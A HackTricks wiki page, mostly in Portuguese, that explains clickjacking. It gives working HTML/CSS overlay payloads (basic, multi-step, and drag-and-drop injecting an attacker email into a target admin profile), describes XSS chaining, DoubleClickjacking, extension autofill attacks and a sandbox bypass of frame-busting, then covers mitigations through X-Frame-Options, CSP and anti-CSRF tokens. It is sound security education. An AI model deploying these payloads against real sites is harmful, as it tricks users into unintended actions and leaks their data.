Clickjacking
Reading time: 9 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
O que é Clickjacking
Em um ataque de clickjacking, um usuário é enganado para clicar em um elemento numa página web que está invisível ou disfarçado como outro elemento. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou compras online de produtos.
Truque de pré-preenchimento de formulários
Às vezes é possível preencher o valor dos campos de um formulário utilizando parâmetros GET ao carregar a página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar o payload de clickjacking para que o usuário pressione o botão Submit.
Preencher formulário com Drag&Drop
Se você precisa que o usuário preencha um formulário mas não quer pedir diretamente que ele escreva alguma informação específica (como o email e/ou uma senha específica que você conhece), você pode simplesmente pedir que ele Drag&Drop algo que escreverá os dados controlados por você como em this example.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload em várias etapas
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Arrastar&Soltar + Clique payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Se você identificou um XSS que requer que o usuário clique em algum elemento para disparar o XSS e a página é vulnerável a Clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o form para definir esses detalhes é vulnerável a Clickjacking e você pode pré-preencher o form com os parâmetros GET.
Um atacante poderia preparar um ataque de Clickjacking a essa página pré-preenchendo o form com o XSS payload e enganando o usuário para clicar em Submit no formulário. Então, quando o form for enviado e os valores forem modificados, o usuário executará o XSS.
DoubleClickjacking
Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
warning
Esta técnica permite enganar o usuário para clicar em um único local na página da vítima, contornando todas as proteções contra Clickjacking. Assim o atacante precisa encontrar ações sensíveis que podem ser realizadas com apenas 1 clique, como prompts de OAuth aceitando permissões.
Extensões do navegador: DOM-based autofill clickjacking
Além de iframar páginas da vítima, atacantes podem mirar em elementos de UI de extensões do navegador que são injetados na página. Gerenciadores de senhas renderizam dropdowns de autofill próximos a inputs focados; ao focar um campo controlado pelo atacante e esconder/ocluir o dropdown da extensão (opacity/overlay/top-layer tricks), um clique coagido do usuário pode selecionar um item armazenado e preencher dados sensíveis em inputs controlados pelo atacante. Esta variante não requer exposição via iframe e funciona inteiramente por manipulação do DOM/CSS.
- For concrete techniques and PoCs see:
 
Strategies to Mitigate Clickjacking
Defesas do lado do cliente
Scripts executados no lado do cliente podem executar ações para prevenir Clickjacking:
- Garantir que a janela da aplicação seja a janela principal/top window.
 - Tornar todos os frames visíveis.
 - Evitar cliques em frames invisíveis.
 - Detectar e alertar usuários sobre possíveis tentativas de Clickjacking.
 
No entanto, esses scripts de frame-busting podem ser contornados:
- Browsers' Security Settings: Alguns navegadores podem bloquear esses scripts com base nas configurações de segurança ou falta de suporte a JavaScript.
 - HTML5 iframe sandbox Attribute: Um atacante pode neutralizar scripts de frame buster definindo o atributo sandbox com os valores allow-forms ou allow-scripts sem allow-top-navigation. Isso impede que o iframe verifique se é a top window, por exemplo:
 
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin e allow-modals podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem indicar quais permissões permitir.
Server-Side Defenses
X-Frame-Options
O X-Frame-Options HTTP response header informa os navegadores sobre a legitimidade de renderizar uma página em um ou
- X-Frame-Options: deny - Nenhum domínio pode incorporar o conteúdo.
 - X-Frame-Options: sameorigin - Apenas o próprio site pode incorporar o conteúdo.
 - X-Frame-Options: allow-from https://trusted.com - Apenas o 'uri' especificado pode emoldurar a página.
 - Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
 
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP é o método recomendado para proteção contra Clickjacking:
- frame-ancestors 'none' - Similar to X-Frame-Options: deny.
 - frame-ancestors 'self' - Similar to X-Frame-Options: sameorigin.
 - frame-ancestors trusted.com - Similar to X-Frame-Options: allow-from.
 
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Mais detalhes e exemplos complexos podem ser encontrados na frame-ancestors CSP documentation e na Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) é uma medida de segurança que ajuda a prevenir Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir carregar conteúdo.
frame-src Directive
- Defines valid sources for frames.
 - More specific than the default-src directive.
 
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite frames da mesma origem (self) e https://trusted-website.com.
Diretiva child-src
- Introduzido no CSP nível 2 para definir fontes válidas para web workers e frames.
 - Atua como fallback para frame-src e worker-src.
 
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
Notas de Uso:
- Deprecação: child-src está sendo descontinuado em favor de frame-src e worker-src.
 - Comportamento de fallback: Se frame-src estiver ausente, child-src é usado como fallback para frames. Se ambos estiverem ausentes, default-src é usado.
 - Definição Estrita de Fontes: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.
 
JavaScript Frame-Breaking Scripts
Embora não sejam completamente infalíveis, JavaScript-based frame-busting scripts podem ser usados para impedir que uma página web seja inserida em um frame. Exemplo:
if (top !== self) {
top.location = self.location
}
Empregando Anti-CSRF Tokens
- Validação de Token: Use anti-CSRF tokens em aplicações web para garantir que requisições que alteram o estado sejam feitas intencionalmente pelo usuário e não através de uma página Clickjacked.
 
Referências
- https://portswigger.net/web-security/clickjacking
 - https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
 - DOM-based Extension Clickjacking (marektoth.com)
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks